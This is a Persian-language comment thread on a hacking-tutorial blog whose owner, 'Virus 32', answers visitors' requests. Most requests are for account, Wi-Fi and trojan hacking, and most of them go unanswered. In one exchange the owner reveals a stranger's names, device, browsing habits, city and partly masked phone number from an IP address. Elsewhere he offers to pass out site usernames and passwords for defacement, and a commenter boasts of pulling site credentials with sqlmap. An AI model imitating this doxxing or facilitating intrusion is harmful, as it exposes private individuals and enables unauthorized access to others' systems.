    میشه اموزش هک رزبلاگ رو بزاری
    نیاز دارمش
    ممنون
    سلام.مطالب سایتتون فوق العادس ولی یکم براش وقت بذارد مطالب جدیدتر بذارید لطفا" اموزش بدید یک نفر که میخواد هکر بشه از کجا؟ چجوری؟ شروع به یادگیری بکنه ممنون فقط هر چه سریعتر جواب بدید بهتر منتظرم
    سلام
    ب من چه کنم
    :((((((((((((((((((((
    Virus 32 :
    :*
    سلام مهندس
    نظرات رو که میخوندم یه نظر خیلی توجه من رو جلب کرد و اون این بود:

    .
    .
    .
    ۲۲ بهمن ۹۴ ، ۰۱:۳۳Virus32بیچاره شدم ویروس
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام ویروس جان
    همه حجم نتم یه شبه دود شد مشکوک شدم که کسی استفاده کرده برا همین زنگ پشتیبانم زدم اونم فقط آی پی دستگاهی که وصل بوده بهم داد.خودم تو نت کشتم نتونستم یچیزی پیدا کنم که بهم بگه مدل اون دستگاه چی بوده آدرسش دقیق کجاست.گوشیه یا لبتاب برندش چیه.
    خواستم ببینم میتونی کمکم کنی؟؟
    این سایتای نت هم که من چ با لبتاب بیام چ گوشی آی پی یکیه
    در واقع آی پی کانکت نشون میده نه آی پی مخصوص هر دستگاه.
    آی پی این دزده هم اینه ببین میتونی کمکم کنی
    5.2********38
    ویروس 32 :
    سلام عزیز
    اطلاعات این آی پی تو نت :
    آقایون محسن.ر و محمدرضا ع.ف رو میشناسی؟
    لپ تاپ ایسوز +
    سیستم عامل ویندوز 10
    بیشتر حجم تویه سایت غیر اخلاقی استفاده شده
    از چیز شکن سایفون استفاده کرده
    ساکن یزد ... آدرس دقیقش رو اگه لازم شد بگو ایمیل کنم
    شماره مبایل : 4989***0913
    اگه از دوستانت نیستن میتونی ازشون شکایت کنی البته نه از اسمایی که بهت دادم از اون آی پی که خودت دادی
    من فقط اسماشون رو گفتم تا شاید بشناسیشون و شاید خواستی بیخیال شی
    آی پی رو بدی فتا اونا خودشون میدونن چیکار کنن
    .
    .
    .
    .
    .
    عاااالیه
    سوال من اینجاست که شما از کجا اینقدر اطلاعات دقیقی رو بدست آوردید؟؟



    Virus 32 :
    اونشب بیکار بودم :)
    آی پی که نوشته بود رو تست کردم دیدم هنوزم فعاله
    گفتم یه سروگوشی آب بدم :) پروسه اش طولانیه ساده ترین جواب اینه که هوییز گرفتم از آی پی طرف
    سلام داداشم خوبی؟
    ببخش یه سوال فنی.
    از سایت هایی که لینک دانلود میذارن اونم مستقیم اما برای دانلود باید اکانت بخری ازشون تا دانلود کنی که اگه نخری موقع دانلود صفحه نام کاربری و رمز عبور میاد چجوری میشه دانلود کرد بدون اکانت.
    ممنون میشم اگه راهی هست آموزش بدی
    Virus 32 :
    سلام عزیز ممنون
    دانلود فایل بدون ثبت نام
    <br>BlogComments=[1,2];<br>
    <br>try{var CommentID=new Array;CommentID[1]='2';}catch(e){}<br>SendComment=function(a){try{window.open('/commenting/?blogid=ghost78&timezone=779802&postid='+a,'comment','status=yes,scrollbars=yes,toolbar=no,menubar=no,location=no ,width=500px,height=540px')}catch(b){}};setCommentID=function(a){try{if(CommentID[a]){document.write(CommentID[a])}else{document.write(0)}}catch(b){}};<br>SendProComment=function(a){try{window.open('/commenting/?blogid=ghost78&timezone=779802&propostid='+a,'comment','status=yes,scrollbars=yes,toolbar=no,menubar=no,location=no ,width=500px,height=540px')}catch(b){}};setCommentID=function(a){try{if(CommentID[a]){document.write(CommentID[a])}else{document.write(0)}}catch(b){}};<br>
    <br>//function showUser(str) {<br> <br> if (window.XMLHttpRequest) {<br> // code for IE7+, Firefox, Chrome, Opera, Safari<br> xmlhttp=new XMLHttpRequest();<br> } else { // code for IE6, IE5<br> xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');<br> }<br> xmlhttp.onreadystatechange=function() {<br> if (xmlhttp.readyState==4 && xmlhttp.status==200) {<br> var responsec = xmlhttp.responseText;<br> var updatec = new Array();<br> updatec = responsec.split('|');<br> var IE = (document.all) ? 1 : 0;<br> var DOM = 0; <br> if (parseInt(navigator.appVersion) >=5) {DOM=1};<br><br>for (var i=0;i<9;i++)<br>{ <br> if(document.getElementById('counter'+i)){<br> if (DOM) {<br> var viewer = document.getElementById('counter'+i);<br> viewer.innerHTML = updatec[i];<br> } else if(IE) {<br> document.all['counter'+i].innerHTML = updatec[i];<br> } <br> }<br>}<br> }<br> }<br> xmlhttp.open('GET','/important/livecounter.php?wid=779802&ads=1',true);<br> xmlhttp.send();<br>
    Virus 32 :
    :)
    اینجا هک بشو نیست عزیز الکی زحمت نکش :)
    خیلی ها تلاش کردن نشد
    چرا دیگه چیز جدیدی اموزش نمیدی؟؟
    سلام خسته نباشی
    منو که میشناسی یه مدت بود سرم شلوغ بود دلم برات تنگ شده...
    دیدم پست های جدیدی گذاشتی . مرسی به دردم خورد
    یه درخواست دارم
    چه جوری فایل های hiddenشده در درایو فردی ناشناس رو (که خودم پشت کامپیوتر نشسته باشم) به یه جایی مشخص مثلا فلش extract کنیم؟
    (بدون اینکه خودم وارد درایو بشم)
    Virus 32 :
    سلام ممنون
    بجا نیاوردم
    به کمک این آموزش میتونی همه فایل هارو کپی کنی
    سلام میشه یه لطفی کنی آموزش هک کلش یا حداقل هک اکانت بقیه رو بزاری ممنون میشم راستی مطالبت تکه اگه اینم بزاری که دیگه عالی میشه
    Virus 32 :
    سلام
    این نه دیگه D:
    خوب برای چی
    سلام داداش خوبی هک جیمیلو میخواستم و اینکه چطوری وای فایمو هیدن کنم بعضی وای فای ها هستن دیذه نمیشن فقط بابرنامه هک به صورت دیده میشن جواب بدی ممنون میشم.
    Virus 32 :
    سلام عزیز
    مخفی کردن وای فای رو  اینجا نوشتن
    سلام ویروس جان. امیدوارم سرحال باشی. یه درخواست ازت داشتم اینکه اموزش کریپت کردن ویروس ها و تروجان هارو بذاری. خیلی ممنون.
    سلام من این هک های که میگم میخوام اگه آموزش قرار بدیدن یا اگه نمیتونید قرار بدین به ایمیلم ارسال کنید اگه ارسال کنید از آن ها سو استفاده نمیشه در
    1- آموزش به دست آوردن رمز دوم کارت بانکی 2- آموزش بدست آوردن پسورد ایمیل 3- آموزش از بین بردن پسورد کامپیوتر قبل از ورود به ویندوز4 - آموزش کرک کردن پسورد وایلرس نه از راه ساده این که بیشتر مواقع جواب نمیده مثل دامپر و جامپر از راه تخصصی که برای کاربرای عادی قابل فهم باشه 5-آموزش این که یه فایل به یک فایل دیگه بچسبانیم تا موقع اجرا یا نصب هر دو اجرا بشه
    6-آموزش دسترسی به کامپیوتر دیگران بدون آن که خود آن بفهمد 7- آموزش شکسن قفل سی دی و دی وی دی های شرکتی 8- آموزش ایجاد قفل برای سی دی و دی وی دی که شکستن آن ساده نباشد و با نرم افزار های موجود در بازار نشه از آن ایمیج گرفت 9-آموزش کاری کنی که بتونی بلوتوث کامپیوتر کسی رو بدون که اون بخواد روشن کنی و از اطلاعات او استفاده کنی 10- آموزش که بتونی وای فای یه نفر کرک کنی بعد از اطلاعات کامپیوتر اون استفاده کنی 11- آموزش بتونی با وسل کردن فلش به کامپیوتر بدون آن که نیاز به تایید داشه باشه این کار های میگم بتونی انجام بدی 1- کامپیوتر بسوزنی 2- کل اطلاعات آن پاک بشه 3 - رمز وای فای رو پیدا کنی 4 - رمز خود کامپیوتر پیدا کنی 5-از راه دور بتونی کنترلش کنی هر فایلی را میخوای به ایمیل خودت بفرسته 6- از راه دور بتونی کامپیوتر را کنترل کنی بدون این که نیاز به تایید کامپیوتر باشد
    میدونم که بیشتر چیز هایی که گفتم نمیتونی قرار بدی اگه میخوای دلیل این که این ها رو براچی میخوام به ایمیل من پیام بده اگه هر کدوم از این آموزش ها در وبسایت هست لینکش قرار بده
    Virus 32 :
    :(
    سلام شرمنده چرا هنگام ورود به پست هاتن رمز ورود میخواد من این رمزو از کجا بیارم
    آموزش هک مودم های وای فای مخفی یا همان hide
    سلام عزیزم.خوبی؟؟؟؟
    من دنبال یه چیزی میگردم ولی هر جا سرچ می کنم یا فیلتره یا سایت پاک شده یا هم ارور میده
    خیلی خیلی دوست دارم یاد بگیرمش.دارم روی خیلی تاکید میکنم
    میخوام یه نرم افزار حالت تروجان داشته باشم که توش ایمیلم رو بزنم و برای کسی ارسالش کنم و هرکی فایل رو باز کنه پسوردهایی که توی کامپیوترش وارد کرده مثلا پسورد و نام کاربری .مثل جیمیل برام ارسال شه.حالا غیر از پسورد و نام کاربری چیزی دیگه ای هم برام اگه ارسال شه اشکال نداره.مهم این هست که یاد بگیرم.برای سو استفاده هم این اموزش رو نمیخوام یاد بگیرم...ممنون میشم اگه جوابم رو بدید...
    سلام ویروس جان
    پستی یا متنی در رابطه با شکستن رمز هارد نداری ؟
    Virus 32 :
    سلام عزیز
    کدوم قسمت هارد منظورته؟؟؟
    سلام ویروس لطفا جواب بده
    من اتوران میسازم اجرا نمیشه وقتی فلش رو به سیستم میزنم؟ چرا؟
    میشه یک کد یدی که وقتی طرف وبلاگمو باز میکنه 5 تا صفحه که خودم ادرشون رو تو کد بزارم باز بشه؟54379
    Virus 32 :
    سلام
    درباره هردوسوالت قبلا بحث شده
    اولین کامنت همین پست رو بخون :)
    رمز این پست ها چیه؟مگه نزاشتی بخونیم خب چرا رمز میزاری مهم هاشو رمز گزاشتی ج بده
    Virus 32 :
    :|
    سلام داداش دمت گرم واقعا سایتت عالیه
    من خیلی دوست دارم سایت هک کنم . اگ راهنماییم کنی واقعا ممنون میشم
    در ضمن من قبلا وبلاگ هم هک کردم ولی خیلی دوست دارم سایت هک کنم ممنون میشم جواب بدی
    سلام...
    ;)
    داداچ کلا یا بگو نمیشه بزنم یا بگو نمیخوام یا ...
    خو دمت گرم خودت میدونی خیلیا خواهان این پست هستن...در ضمن
    خیلی وقته قول دادی...
    بابا دمت گرم مخفی شدن تو مجازی یا همون پنهون کردن آی پی رو بگو دیه...:( خیلی دیر ب دیر میای خودتم...مشکل داری...؟ آخه مشکل که نداری...همه از مشکل رد شدن فک کنم خیلی بدبختی داریااااا...ولی بازم دمت گرم میای سر میزنی ب ما...حالا خداوکیلی این پستو بزا یا اگه ممکن نیس واست ایمیلش کن فدا مدا ...مرسی
    Virus 32 :
    سلام
    آخه یسری مرزها هست که من اجازه عبور از اونارو ندارم
    میتونم عبور کنم ولی حوصله دردسر ندارم
    برای یک آموزش ساده هک شبکه اینترانت دوماه و یازده روز هی بازخواست میشدم و جواب پس میدادم و...
    شما فقط نوشته های منو میخونید و ازش میگذرید و میرید دنبال اطلاعات جدیدتر
    دیگه از ماجراهای مسخره ای که پیش اومده خبر ندارین
    تنها عشقی که به اینجا دارم باعث شده هنوزم پای این وب بمونم
    هرکدوم از شماها جای من بودین خیلی وقت پیش بای نت میدادین
    نمیخوام درد دل کنم و حس ترحم ایجاد کنم
    ولی بدون کوچکترین موقعیت مناسب گیر بیارم بازم براتون مینویسم
    نه بخاطر خودنمایی نه به خاطر پول و مادیات نه به خاطر شاخ بازی و قولدری .... فقط دارم سعی میکنم یه قدم کوچیک برای پیشرفتمون بردارم
    دوباره سلام:|
    کاکو ی سوالی این قسمت ها تو ویندوز رو دقیقا میشه باهاشون چ کارایی انجام داد؟ یعنی کارشون چیه...
    Windows PowerShell
    Windows PowerShell ISE
    Virus 32 :
    سلام رفیق
    این دوتا در اصل همون سی ام دی خودمون هستن ولی یکم پیشرفته تر
    بزرگترین فرقش رو اگه بخوام بگم اینه که :
    سی ام دی دستورات bat رو اجرا میکنه ولی این دوتا دستورات vbs رو هم بخوبی اجرا میکنن و...
    این دوبرنامه دستورات داس رو نسبت به سی ام دی بهتر و حرفه ای تر اجرا میکنن (البته بازم به لینوکس نمیرسن)
    علاوه بر دستورات داس اسکریپت هارو هم بخوبی اجرا میکنن و با اسکریپت میشه مانور های خوبی با اینا داد
    این دو برنامه در اتوماسیون کردن و مدیریت شبکه میتونن کمک خیلی زیادی به مدیران حرفه ای کنن
    و اینکه یکسری از دستورات رو به صورت گرافیکی درست کردن و کار رو برای کاربر خیلی آسون کردن
    موقع نوشتن دستورات هم مثل زبان های حرفه ای بقیه دستور و یا لیست دستورات رو نمایش میدن و ....
    سلام...
    نه خداوکیلی کاری ندارما خخخ چرا جواب اون یکی سوالمو ندادی؟
    خدایی بزار دیه دمت گرم داش...بابا درگیر اون آموزشه هستم خیلی وقته...گفتیم ولی نذاشتی...
    گفتم که والا ما میخوایم یاد بگیریم ولی یاد نمیدم :( بعد میگن...
    حالا دیه خود دانی بازم مرسی بابت پاسخ سوال قبلی ممنون ی چیزایی دس گیرم شد ولی حس کردم با همون نوت پد میتونم راحت تر باشم :) والا...
    آها تا یادم نرفته بگم ... دادا تو سی ام دی این عبارت رو که بزنی یه چیزایی میاد طولانی...دقیقا این چیه؟ sc فک کنم...یه باری دستم خورد اینو تایپ کردم بعد دیه دیدم رفـــت خخخ ... حالا اگه میشه یه کوچولو اینم توضیح بده فدات...مرسی
    Virus 32 :
    سلام کدوم سوال؟
    sc.exe یه برنامه است برای کنترل کردن سرویس های ویندوز
    به کمک این برنامه میتونی سرویسی رو اجرا ، متوقف ، حذف و .... کنی
    سلام اگه امکانش هست آموزش هک تلگرامو بزارید
    ممنون
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام ویروس 32
    خیلی وبلاگ پر محتوا و خوبی داری در این زمینه استادی.
    کمکم کن کمک لازم دارم هر جا گفتم کسی کمکم نکرد و سر در نیورد حالا توی استاد کد رو پیدا کردم .


    مشکلم اینه
    من یک قالب پیدا کردم خیلی خوبه ولی وقتی سایت رو باز میکنی پستاش بصورت انیمیشنه و تکون میخوره میخواستم یه راحلی بگی یا کدی که این انیمیشن رو نگه داره و باکس های قالب مثل وبلاگ معمولی باشه و تکون نخوره برا این که متوجه بشی برو سایتم نگاه کن یه راحل پیدا کن لطفا نیاز دارم
    این سایته منه:
    ***************
    ممنون
    سلام ویروس تروخدا جواب بده...دمت گرم عزیزم.خوبی؟؟؟من دنبال یه چیزی میگردم ولی هر جا سرچ می کنم یا فیلتره یا سایت پاک شده یا هم ارور میده
    خیلی خیلی دوست دارم یاد بگیرمش.دارم روی خیلی تاکید میکنم
    میخوام یه نرم افزار حالت تروجان داشته باشم که توش ایمیلم رو بزنم و برای کسی ارسالش کنم و هرکی فایل رو باز کنه پسوردهایی که توی کامپیوترش وارد کرده مثلا پسورد و نام کاربری .مثل جیمیل برام ارسال شه.حالا غیر از پسورد و نام کاربری چیزی دیگه ای هم برام اگه ارسال شه اشکال نداره.مهم این هست که یاد بگیرم.برای سو استفاده هم این اموزش رو نمیخوام یاد بگیرم...ممنون میشم اگه جوابم رو بدید...تروخدا جواب بده.یه پست شبیه همین گذاشتم جواب ندادی
    سلام
    دادا ب خدا میدونم چ جور دردسرهایی میتونی داشته باشی ... ولی خودت میدونی دیه همون ی قدم کوچیک که گفتی ما از اینجا بر میداریم...
    خدایی من یکی که باید خیلی ازت ممنون باشم خیلی از سوالامو بدون هیچ تمسخری جواب دادی آقایی ب مولا عاااقاااااییا دمت گرم داشی
    خودت حتما قدیما که مث الان من بودی در ب در دنبال یه...آدمی بودی که برات یه چیز جدید بگه که ی قدم بری جلو تر ...ما هم تورو دیدیم دیگه :)
    فدات بازم مثه همیشه دمت گرم عالی... ایشالله که مشکلاتت حل شه مارو شادروان کنی :) فدا مدا یا علی

    BlogComments=[1,2];


    try{var CommentID=new Array;CommentID[1]='2';}catch(e){}
    SendComment=function(a){try{window.open('/commenting/?blogid=ghost78&timezone=779802&postid='+a,'comment','status=yes,scrollbars=yes,toolbar=no,menubar=no,location=no ,width=500px,height=540px')}catch(b){}};setCommentID=function(a){try{if(CommentID[a]){document.write(CommentID[a])}else{document.write(0)}}catch(b){}};
    SendProComment=function(a){try{window.open('/commenting/?blogid=ghost78&timezone=779802&propostid='+a,'comment','status=yes,scrollbars=yes,toolbar=no,menubar=no,location=no ,width=500px,height=540px')}catch(b){}};setCommentID=function(a){try{if(CommentID[a]){document.write(CommentID[a])}else{document.write(0)}}catch(b){}};


    //function showUser(str) {

    if (window.XMLHttpRequest) {
    // code for IE7+, Firefox, Chrome, Opera, Safari
    xmlhttp=new XMLHttpRequest();
    } else { // code for IE6, IE5
    xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');
    }
    xmlhttp.onreadystatechange=function() {
    if (xmlhttp.readyState==4 && xmlhttp.status==200) {
    var responsec = xmlhttp.responseText;
    var updatec = new Array();
    updatec = responsec.split('|');
    var IE = (document.all) ? 1 : 0;
    var DOM = 0;
    if (parseInt(navigator.appVersion) >=5) {DOM=1};

    for (var i=0;i{
    if(document.getElementById('counter'+i)){
    if (DOM) {
    var viewer = document.getElementById('counter'+i);
    viewer.innerHTML = updatec[i];
    } else if(IE) {
    document.all['counter'+i].innerHTML = updatec[i];
    }
    }
    }
    }
    }
    xmlhttp.open('GET','/important/livecounter.php?wid=779802&ads=1',true);
    xmlhttp.send();


    داش ویروس ناموصن این چی بود یارو فرستاد تو کامنتا ://///////؟؟؟
    Virus 32 :
    یسری چرت و پرته داداش
    طرف خودش هم نمیدونه اینا چیه :)
    سلام داداش
    اموزش زبان اسمبلی رو میشه واسمون بذاری ؟؟ ممنونت میشم
    کد ساخت تروجان پیسی با نت پد
    سلام منظورم شکستن همون bitlocker هستش که همه ی ویندوز ها دارن اونارو چه جوری بشکنم؟
    یه مطلبی چیزی اگه داری .....
    و یه سوال دیگه اون هم اینه که توی هرچی مثلا ثبت نام و یا حتی ارسال نظرات یه گزینه ای هست به اسم (کد امنیتی) خودت هم داری اون به چه دردی میخوره آخه طرف میخواد چجوری کلاهبرداری کنه حتی اگه کنه چه جوری با یه کد امنیتی میشه پیداش کرد یا جلوشو گرفت آخه؟
    Virus 32 :
    سلام داداش درباره سوال اولت باید یه پست بنویسم
    درباره سوال دومت 
    به اون کدها اصطلاحا میگن کدهای کپچا و تنها کارشون شناسایی رباتها از انسان هاست چون بعضی رباتها کارشون ارسال میلیون ها ایمیل یا کامنت هسسش که اینکار خودش یکنوع دیداس حساب میشه و ....
    یعنی اونها برای شناسایی نیست برای شناسایی نیازی به اینجور چیزی هم نیست
    سلام ویروس جان خوبی؟
    نرم افزار DUC رو از no-ip دانلود کردم
    میشه بگی واسه چه کاراییه؟
    استفادش چیه no- ip هم دارم
    یه توضیح میخواستم درموردشون
    مرررسی
    Virus 32 :
    سلام عزیز
    من خودم از اینها استفاده نکردم تاحالا :(
    استاد ویروس، خدا بگم چیکاره نکنه. بابا سر ویروس سی دی رامی که گذاشتی واس5 دقیقه دهنم سرویس شد. بابا فامیلش حرفم کردم ولی بازم بازو بسته میشد. عنایتی بفرمائید ویروس هایی که از شما میگیریم رو خوده بد بخت بیچاره هامون پیاده نشه
    Virus 32 :
    :(
    سلام دادا خسته نباشید
    میخواسم بدونم میشه لطفا آموزش کار با تروجان های مختلف از جمله Metasploit و آموزش رات رو مثل برنامه های AndroRAtوDroidJack
    رو قرار بدی و نکات ریزشو بگید چون ب مشکلات کوچیکی برخوردم باهمشD:
    و این ک ی سوال دیه برنامه njRATبرای پی سی هنوزم کار میکنه؟؟؟!!
    بد اگ زحمتت نیسو وقتت شد درباره Magic psهم ی توضیحاتی بده
    دمت گرم بخدا :)
    Virus 32 :
    سلام عزیز ممنون
    من تا حالا با این برنامه ها کار نکردم داشی
    کلا اعتقادی به استفاده از برنامه های هکرای دیگه رو ندارم !
    سلام داداش لطفا آموزش هک وبلاگ میهن بلاگ رو قرار بده.مرسی از وبلاگ بسیار خوبت
    سلام داداش اگه میشه آموزش سنتری ام بی ای رو بزار خیلی لنگشم
    اوکی دادا عزیزی برام
    پس اگ میشه درباره combolist
    توضیح بده و چند نمونه بزار ممنونت میشم داشم :)
    Virus 32 :
    باشه
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام کیلر جون :))

    یه سوال ازت داشتم

    تو یه سریالی که من میبینم شاید خوده تو هم ببینی ( Mr. Robot ) نشون میده که اطلاعات یک شرکت رو رمز نگاری میکنه جوری که هیشکی نمیتونه رمز نگاریشو بشکنه ! که از F-Secure موجود توی اون شرکت استفاده میکنه

    اگه اومدی و حال داشتی یه توضیحی بده که چجور میشه اطلاعات رو اینجور رمز نگاری کرد با چه سیستم عاملی میشه ( من کالی و ویندوز دارم ) و اینکه دوباره اگه حال داشتی یه مطلب درباره ی رمز نگاری بزار
    به شدت علاقه دارم به این موضوع و هیچ جا نمیتونم در موردش درست حسابی مطلب پیدا کنم

    3تا عکس از قسمت های اجرایی سریال آپلود کردم ببین چیزی میفهمی ازشون =|
    *******************
    *******************
    *******************


    خیلی عشقی ☺♥
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام کیلر جون :))

    یه سوال ازت داشتم

    تو یه سریالی که من میبینم شاید خوده تو هم ببینی ( Mr. Robot ) نشون میده که اطلاعات یک شرکت رو رمز نگاری میکنه جوری که هیشکی نمیتونه رمز نگاریشو بشکنه ! که از F-Secure موجود توی اون شرکت استفاده میکنه

    اگه اومدی و حال داشتی یه توضیحی بده که چجور میشه اطلاعات رو اینجور رمز نگاری کرد با چه سیستم عاملی میشه ( من کالی و ویندوز دارم ) و اینکه دوباره اگه حال داشتی یه مطلب درباره ی رمز نگاری بزار
    به شدت علاقه دارم به این موضوع و هیچ جا نمیتونم در موردش درست حسابی مطلب پیدا کنم

    3تا عکس از قسمت های اجرایی سریال آپلود کردم ببین چیزی میفهمی ازشون =|
    Lqrock.xzn*********
    *******************
    **********
    .ir/3.png

    خیلی عشقی ☺♥
    Virus 32 :
    سلام رفیق
    کیلر نیستم ویروسم :)
    رمز نگاری بحث شیرینیه سعی میکنم آپدیت بعدیم درباره اش بنویسم
    بستگی به خلاقیت داره
    یه بحث طولانی هم داره که آدم هرچقد هم بخونه خسته نمیشه
    فرقی نمیکنه چه سیستم عاملی داری
    تو ساده ترین روشش به کد اسکی کارکتر یک یا چند رقم اضافه میکنن و کارکتر جدید رو جاگزاری میکنن
    برای مثال حرف a تبدیل میشه به b و .... مثلا کلمه baba میشه cbcb
    تو روش های پیچیده اش هم بجای اضافه کردن عدد به کدهای اسکی کدها رو توی فرمول قرار میدن و جواب رو به کارکتر برمیگردونن
    در کل همه رمز نگاری ها از یه الگوریتم خاصی پیروی میکنن چون بعدا باید بازگردانی بشن در هر صورت
    حتما درباره اش پست میزام :)
    راستی عکسات پاک شدن
    " هوییز گرفتم از آی پی طرف "

    چطورییییییی

    من چندتا وبسایت هوییز خارجی رفتم چندتا برنامه هم دانلود کردم

    ولی مثلا آی پی خودمو میزدم اطلاعات صاحاب شرکته اینترنتیمو میداد
    بعد فقط شماره تماس و آدرس میداد تو چطوری فهمیدی تو چه سایت هایی رفته و از چه چیز شکنی استفاده کرده ؟!!!!! و حتی مدل لپتاپ و ویندوز رو !

    میتونی بیشتر در موردش توضیح بدی ؟ :(
    ( و واقعا وقتی نظره دوست عزیزمون Alisalehi رو خوندم درکت کردم چه عذابی میکشی :| )

    مرسیییییییییی ☻♥
    Virus 32 :
    وقتی ساخت نرم افزار هوییز رو شروع کردیم متوجه میشی داش
    هک و امنیت کلا فقط بار اولش سخته ، یکی دوبار که کار کنی برات ساده میشه
    گفتم که آی پی طرف فعال بود
    بجای اینکه سایت ها و نرم افزار ها هوییز بگیرن ازش خودم بهش دست دادم D:
    اون دوست عزیزمون هم منو برای یه ساعتی نابود کرده بود یه زمانی :)
    بیشتر آنتی ویروسا اتورانا رو غیر فعال می کنن از جمله Symantec endpoint protection می شه یه راهی پیشنهاد کنی؟ لطفن
    یه جایی گفتی می تونی اکانت اینستاگرامو یه کارایی بکنین فکر کنم تاریخی که نظر ارسال شده بود (من ارسال نکرده بودم) 9 مرداد 95 بود
    Virus 32 :
    خوب آره ولی فعلا نه
    آره سخت تر هم میشه ! :|
    شروع کردم به یاد گیریه HTML ( هدف بعدی جاوا هست )
    الان تقریبا 2 هفتش دارم یه کتابه خیلی خوب میخونم دربارش
    خیلی بهتر از بازی کردن و هدر دادنه زمانه تو تابستون

    خیلی وقته مطلب نمیزاری کاش یکم سرت خلوت شه مطلب بزاری که
    یاد بگیریم نه برنامه که آماده استفاده کنیم

    درباره ی اون هوییز هم تحقیق کردم فهمیدم ip باید متعلق به خودت باشه تا اطلاعات بده و ip ما به isp وصله

    اینارو بیخیال میتونی درباره ی آنالیز کردنه یه وبسایت تارگت مطلب بزاری ؟
    که چطور میتونیم باگ هاشو پیدا کنیم
    البته خودم دارم یه چیزایی یاد میگیرم که با مطالعه ی کد html یه وبسایت میتونی ضعف های کدنویس رو توی کد هاش پیدا کنی ولی واقعا خسته کننده و سخته ولی خوب دیگه D:
    یکم وبلاگتو حرفه ای تر کن خیلی بهتر میشه
    حیفه واسه یه عده که فقط دنباله کرک پسوورده وایرلسه همساین پست بزاری

    Virus 32 :
    خوشم میاد ازت ;)
    میخوام جاوارو از تو یاد بگیرم
    تا برج نه ده درگیرم ولی بعدش فک کنم خلاصم
    میام اینجا رو منفجر کنم
    اوس کریم فرصت بده میام  :)
    سلام ویروس خوبی ؟

    اینجا من چند بار نظر گزاشتم تو این صفحه و صفحه های دیگه ی وبلاگت

    الان میتونی بفهمی من کی ام ؟ D:
    یا تا چقد میتونی ازم اطلاعات در بیاری الان ؟
    میخوام ببینم تا چقد میتونه
    هویت رو مخفی کنه مرورگره تور و 2تا وی پی ان

    Virus 32 :
    سلام رفیق ممنون
    نه داشی هیچ اطلاعاتی ازت ندارم علان :)
    سلام استاد
    میشه لطفا اموزش هک سایت رو باکالی بزاری و کلا چطور میشه به سایت و سرور نفوذ کرد ممنون
    Virus 32 :
    سلام عزیز
    قراره لینوکس رو از ابتدا شروع کنیم
    اون guess خودم بودم داشتم مرورگره تور رو تست میکردم =|

    یه ابزار واسه اسکن و آنالیز پیدا کردم که زیاد ازش سر در نمیارم

    Acunetix Web Vulnerability Scanner 10.0

    یکی دو روزه یکم دارم استراحت میکنم سردرد گرفتم این اواخر از پس پشته سیستم کتاب میخوندم D:

    سعی دارم با جاوا یه کیلاگر بنویسم
    ولی خوب هر دفعه که تست میکنم هزارتا مشکل سرازیر میشه :((

    واقعن دیگه خسته شدم از برنامه نویسی :| دلم میخواد چارتا وبسایت دیفیس کنم

    یه انگیزه بم بده ادامه بدم D:
    Virus 32 :
    خوبه
    Acunetix برنامه خیلی خوب و مفید و جامعیه
    در آینده درباره اش مفصل بحث میکنیم
    از این کتابات برا ما هم بفرست با وفا تنهایی نخون :)
    هر چقد هم از برنامه نویسی زده شی بازم برمیگردی سراغش بت قول میدم
    برنامه نویسی معجزه است
    سری بعد که اومدم اسم و رمز چند تا سایت رو میدم دیفیسش رو تو بزن
    این سری ها رو دادم به Revenger :)
    نا امید نشو قراره بهم جاوا یاد بدیا
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    http*************************************e8/html/index.html

    این کتاب و میخونم در کناره یه کتابه پارسی زبان ( زبان انگلیسیم خوبه D: )

    هرچی میرم جلوتر بیشتر حال میده

    دیشب خودم یکی دوتا سایت یوزر پس و با sqlmap در اوردم ولی خوب
    دیفیس نکردم اعتقادی ندارم به دیفیس

    اولای همین تابستون که اومدم سمته یاد گرفتنه برنامه نویسی یه کتاب
    میخوندم به نامه از این پس با پایتون

    اینقد خر ذوق میشدم وقتی یه چیزی یاد میگرفتم D:

    راستی یه ابزار هم واسه گنو لینوکس پیدا کردم xerosploit
    خیلی جالبه D:

    Virus 32 :
    خوبه پیشرفت خوبی داشتی دمت گرم
    نفوذ به سیستم بهتره.
    *********************
    می تونید چند ویروس معروف که با سی++ نوشته شده را نام ببرید؟
    سلام
    میشه در رابطه با بستن پورت های اضافی که هکرا نفوز میکنن توضیح بدین؟
    سلام ویروس جان
    در رابطه با این که این اینترنتارو با سرعت بالا میفروشن ولی وقتی راه اندازی میشه سرعتش خیلی کم تر از اونیه که تو کاغذ بود مثلا مودم من 1024 هستش ولی سرعتش تا حالا از 300 بالاتر نرفته و آیا راهی برای بالا بردن سرعت اینترنت هست یا نه؟
    Virus 32 :
    سلام عزیز
    توضیحش مفصله عزیز
    راهکار هست ولی باز به سرعت واقعیش نمیشه رسید
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام 32...
    ازسایت زیر خیلی خیلی بدم میاد!!
    می شه یه حالی به اون بدی؟ با تشکر:)
    ***********
    سَــلآم داش، به نظر من یه نرم افـــزار بــزار که هم برای اندروید باشه و هم برای پی صی که بشه هر برنامه دلت خواست رو کرک کُنــی
    :)
    سلام شما تو اموزش های قبلی هک مودم وای فای با دامپر و بک ترک رو گذاشتین .این دامپر بعضی از مودم هارو هک نمیکنه این بکترک حجم دانلود ش زیاده راهی هست برای کسایی کهwpsوای فای خودشون رو میبندد هک شه البته بجز بک ترک تو نسخه های جدید دامپر چند گزینه اضافه شد میشه بیشتر و کامل در مورد این موضوع توضیح بدید
    Virus 32 :
    سلام
    احتمالا باید باشه من بلد نیستم
    سلام دادا

    میشه هک اندروید رو بدون برنامه هک کرد؟

    اموزششو به ایمیلم بفرستین

    ممنون
    سلام

    میشه اموزش هک ای پی رو اموزش بدین
    سلام
    اقای ویروس 32 میشه آموزش هک سکه های برنامه تله ممبر رو بهم یاد بدید :)
    اگر دیدید که نمیخواید پابلیک شه حداقل به ایمیل من بفرستید :)

    من خیلی سعی کردم اما نتونستم
    امیدوارم که شما خوشحالم کنید :)
    با تشکر از وب سایت عالی تون :)
  • Virus32
  • مورچه کوچولو
  • ترفند
    هووووررررراااا
    :)
    ویروس جان اینجایی درخواستی داشتم
    Virus 32 :
    هستم :)
    سلام میشه هک وبلاگ بلاگ فا رو بزارید؟
